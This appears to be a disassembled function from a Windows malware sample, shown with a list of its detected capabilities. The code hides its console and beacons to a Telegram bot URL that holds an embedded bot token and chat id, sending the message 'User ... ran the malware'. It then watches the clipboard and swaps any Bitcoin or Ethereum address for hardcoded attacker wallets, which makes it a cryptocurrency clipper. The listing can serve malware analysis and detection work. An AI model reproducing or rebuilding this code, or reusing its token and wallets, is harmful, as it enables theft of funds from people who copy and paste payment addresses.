Function at 0x403a10
Capabilities:
Create http request
Get disk information
Open clipboard
Query environment variable
Read clipboard data
Read data from internet
Receive data
Write clipboard data

Disassembly:
push rbp
mov eax, 0x8328
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
call fcn.004036e0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x8290], xmm6
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov r13, qword [sym.imp.msvcrt.dll__time64]
movsd xmm6, qword [0x004370c0]
lea rax, [rbp + 0x390]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x2c]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x150]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0x34]
mov qword [rbp - 0x20], rax
xor ecx, ecx
call r13
lea rcx, str.APPDATA
mov rsi, rax
call sub.msvcrt.dll_getenv
mov rdi, qword [rbp + 0x10]
mov edx, 0x200
lea r8, str._sMicrosoftWindowsStart_Menu_tc.txt
mov r9, rax
mov rcx, rdi
call fcn.00401550
lea rdx, [0x0040c04f]
mov rcx, rdi
call sub.msvcrt.dll_fopen
test rax, rax
je 0x401eae
mov rcx, qword [rbp + 0x10]
lea rdx, [0x0040c04f]
call sub.msvcrt.dll_fopen
test rax, rax
mov rbx, rax
je 0x4019f6
mov r8, qword [rbp - 0x30]
lea rdx, [0x0040c053]
mov rcx, rax
call sub.msvcrt.dll_fscanf
mov rcx, rbx
call sub.msvcrt.dll_fclose
movsxd rdx, dword [rbp + 0x2c]
mov rcx, rsi
call fcn.00403720
comisd xmm6, xmm0
jbe 0x401f18
mov qword [rbp + 8], rsp
call qword [0x0040bda0]
mov ecx, 0xc3500
mov rax, qword [rax]
mov rdi, qword [rax]
mov qword [rbp - 8], rdi
call sub.msvcrt.dll_malloc
mov ecx, 0xc3500
mov qword [rbp + 0x18], rax
call sub.msvcrt.dll_malloc
sub rsp, 0x100
mov rcx, rdi
mov qword [rbp - 0x10], rax
lea rdx, [0x0040c011]
lea rax, [rsp + 0x40]
mov qword [rbp], rax
call sub.msvcrt.dll_fopen
test rax, rax
mov r15, rax
jne 0x401d40
xor r14d, r14d
xor r12d, r12d
lea rax, [rbp + 0x260]
mov dword [rsp + 0x38], 0x105
mov r8d, 0x105
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x28]
lea r9, [rbp + 0x30]
lea rcx, [0x0040c070]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x4021f4
mov ebx, dword [rbp + 0x30]
lea rsi, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, str._llu
mov rcx, rsi
mov r8d, eax
shl rbx, 0x20
or r8, rbx
call sub.msvcrt.dll_sprintf
mov qword [rsp + 0x20], rsi
mov r9, qword [rbp]
lea rbx, [rbp + 0x590]
lea r8, str._stextUser__.10s_ran_the_malware
mov rcx, rbx
mov edx, 0x12c
call fcn.00401550
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.MyApp
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov qword [rbp], rax
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
test rax, rax
mov rbx, rax
jne 0x401e51
mov rcx, qword [rbp]
call rsi
mov rcx, qword [rbp - 8]
call fcn.00401570
mov dword [rbp], r12d
jmp 0x401bfb
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call r13
movsxd rdx, dword [rbp + 0x2c]
mov rcx, rax
call fcn.00403720
comisd xmm0, xmm6
ja 0x401c6a
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401bf0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov r15, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
mov rbx, rax
je 0x401c52
mov rcx, rax
call sub.msvcrt.dll_strlen
mov r12, rax
lea rax, [rax - 0x1b]
cmp rax, 0x2a
jbe 0x401c73
mov r8, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rbx, qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, r15
call r8
call rbx
jmp 0x401bf0
mov rsp, qword [rbp + 8]
jmp 0x4019f6
lea rdi, [0x0040c017]
mov ecx, 3
mov rsi, rbx
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x401c9b
movzx eax, byte [rbx]
and eax, 0xfffffffd
cmp al, 0x31
jne 0x401ee0
mov r8d, dword [rbp]
mov r9d, r12d
mov rcx, rbx
mov rdx, qword [rbp + 0x18]
call fcn.00401720
mov rsi, rax
test rsi, rsi
je 0x401c52
mov rdx, rbx
mov rcx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401c52
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call sub.msvcrt.dll_strncpy
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov ecx, 2
lea rdx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rbx
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov r8, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rdi
mov qword [rbp - 8], r8
call r8
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rbx, qword [sym.imp.USER32.dll_CloseClipboard]
call rbx
mov rcx, rsi
call sub.msvcrt.dll_free
mov r8, qword [rbp - 8]
jmp 0x401c60
mov qword [rbp - 0x38], rsp
sub rsp, 0x100
xor r14d, r14d
xor r12d, r12d
lea rbx, [rsp + 0x40]
jmp 0x401d92
lea esi, [r12 + 1]
mov rcx, rbx
call sub.msvcrt.dll__strdup
mov rdi, qword [rbp + 0x18]
mov qword [rdi + r12*8], rax
movsxd r12, esi
cmp r12d, 0x186a0
je 0x401e40
cmp r14d, 0x186a0
je 0x401e40
mov r8, r15
mov edx, 0x100
mov rcx, rbx
call sub.msvcrt.dll_fgets
test rax, rax
je 0x401e40
mov rcx, rbx
call sub.msvcrt.dll_strlen
test rax, rax
je 0x401dc4
cmp byte [rbx + rax - 1], 0xa
jne 0x401dc4
mov byte [rbx + rax - 1], 0
lea rdi, [0x0040c017]
mov ecx, 3
mov rsi, rbx
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x401d60
movzx eax, byte [rbx]
and eax, 0xfffffffd
cmp al, 0x31
je 0x401d60
lea rdi, [0x0040c01b]
mov ecx, 2
mov rsi, rbx
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x401e92
lea rdx, str.https:__api.telegram.org
mov rcx, rbx
call fcn.00401650
test al, al
je 0x401d78
mov rcx, qword [rbp]
mov r8d, 0x100
mov rdx, rbx
call sub.msvcrt.dll_strncpy
cmp r12d, 0x186a0
jne 0x401d85
mov rcx, r15
call sub.msvcrt.dll_fclose
mov rsp, qword [rbp - 0x38]
jmp 0x401ae7
lea r15, [rbp + 0x3c]
mov rsi, qword [sym.imp.WININET.dll_InternetReadFile]
lea rdi, [rbp + 0x24d0]
jmp 0x401e6c
mov edx, dword [rbp + 0x3c]
test edx, edx
je 0x401e81
mov r9, r15
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
call rsi
test eax, eax
jne 0x401e65
mov rcx, rbx
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
jmp 0x401bd4
lea esi, [r14 + 1]
mov rcx, rbx
call sub.msvcrt.dll__strdup
mov rdx, qword [rbp - 0x10]
mov qword [rdx + r14*8], rax
movsxd r14, esi
jmp 0x401d78
mov rcx, qword [rbp + 0x10]
lea rdx, [0x0040c051]
call sub.msvcrt.dll_fopen
lea rdx, [0x0040c053]
mov r8, rsi
mov rbx, rax
mov rcx, rax
call sub.msvcrt.dll_fprintf
mov rcx, rbx
call sub.msvcrt.dll_fclose
jmp 0x401a3d
lea rdi, [0x0040c01b]
mov ecx, 2
mov rsi, rbx
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
jne 0x401c52
mov rdx, qword [rbp - 0x10]
mov r9d, r12d
mov r8d, r14d
mov rcx, rbx
call fcn.00401720
mov rsi, rax
jmp 0x401cb1
call qword [0x0040bda0]
lea rdx, [rbp + 0x40]
mov r8d, 0x105
mov rax, qword [rax]
lea rcx, [0x0040c070]
mov rsi, qword [rax]
mov dword [rsp + 0x38], 0x105
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x3c]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x401f86
movaps xmm6, xmmword [rbp + 0x8290]
mov eax, 1
lea rsp, [rbp + 0x82a8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ebx, dword [rbp + 0x34]
lea r12, [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, r12
mov edx, 0x12c
lea r8, str.https:__api.telegram.org_bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh_e2fE_sendMessage_chat_id6585536474textUser__llu_ran_the_malware
mov r9d, eax
shl rbx, 0x20
or r9, rbx
call fcn.00401550
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.MyApp
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rdi, rax
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
mov qword [rsp + 0x28], 0
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r12, qword [sym.imp.WININET.dll_InternetReadFile]
mov rbx, rax
lea rax, [rbp + 0x590]
test rbx, rbx
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x24d0]
mov qword [rbp], rax
jne 0x40203a
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40205e
mov eax, dword [rbp + 0x590]
test eax, eax
je 0x402052
mov r9, qword [rbp - 0x10]
mov r8d, 0x1000
mov rcx, rbx
mov rdx, qword [rbp]
call r12
test eax, eax
jne 0x402030
mov rcx, rbx
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbx
mov rcx, rdi
call rbx
mov rcx, rsi
call fcn.00401570
mov rcx, qword [rbp]
mov r8d, 0x5dc0
lea rdx, str.bc1q02t0ql58zy88g7unyx4etgxejpxs302r6rldq2
call sub.msvcrt.dll_memcpy
mov rcx, qword [rbp - 0x10]
mov r8d, 0x1f40
lea rdx, str.0x1b0Ecc1Aa18Ac7da7AdE54ba317ecbE31eb2aB07
call sub.msvcrt.dll_memcpy
lea rax, [0x0040c017]
mov r13, qword [sym.imp.USER32.dll_OpenClipboard]
mov qword [rbp + 8], rax
lea rax, [0x0040c01b]
mov r15, qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x18], rax
jmp 0x4020e4
mov rcx, rbx
call r15
mov rax, qword [rbp + 0x18]
call rax
mov ecx, 0xa
call r12
xor ecx, ecx
call r13
test eax, eax
je 0x4020dc
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
mov r14, rax
je 0x4020d0
mov rcx, rax
call sub.msvcrt.dll_strlen
mov r11, rax
lea rax, [rax - 0x1b]
cmp rax, 0x2a
ja 0x4020d0
mov rdi, qword [rbp + 8]
mov ecx, 3
mov rsi, r14
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x402147
movzx eax, byte [r14]
and eax, 0xfffffffd
cmp al, 0x31
jne 0x402200
mov rdx, qword [rbp]
mov r9d, r11d
mov r8d, 0xbb8
mov rcx, r14
mov qword [rbp + 0x10], r11
call fcn.00401720
mov r11, qword [rbp + 0x10]
mov rsi, rax
test rsi, rsi
mov qword [rbp + 0x10], r11
je 0x4020d0
mov rdx, r14
mov rcx, rsi
call sub.msvcrt.dll_strcmp
mov r11, qword [rbp + 0x10]
test eax, eax
je 0x4020d0
mov r8, r11
mov rdx, rsi
mov rcx, r14
call sub.msvcrt.dll_strncpy
mov rcx, rsi
call sub.msvcrt.dll_strlen
mov ecx, 2
lea rdx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, r14
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov rcx, rdi
call r15
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rax, qword [rbp + 0x18]
call rax
mov rcx, rsi
call sub.msvcrt.dll_free
jmp 0x4020d0
mov rsp, qword [rbp + 8]
jmp 0x401f66
mov rdi, qword [rbp - 8]
mov ecx, 2
mov rsi, r14
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
jne 0x4020d0
mov rdx, qword [rbp - 0x10]
mov r9d, r11d
mov r8d, 0x3e8
mov rcx, r14
mov qword [rbp + 0x10], r11
call fcn.00401720
mov r11, qword [rbp + 0x10]
mov rsi, rax
jmp 0x402167
sub rsp, 0x28
call fcn.00402310
mov rax, qword [0x00437490]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x00437480]
mov r8, qword [rax]
mov rax, qword [0x00437470]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x401980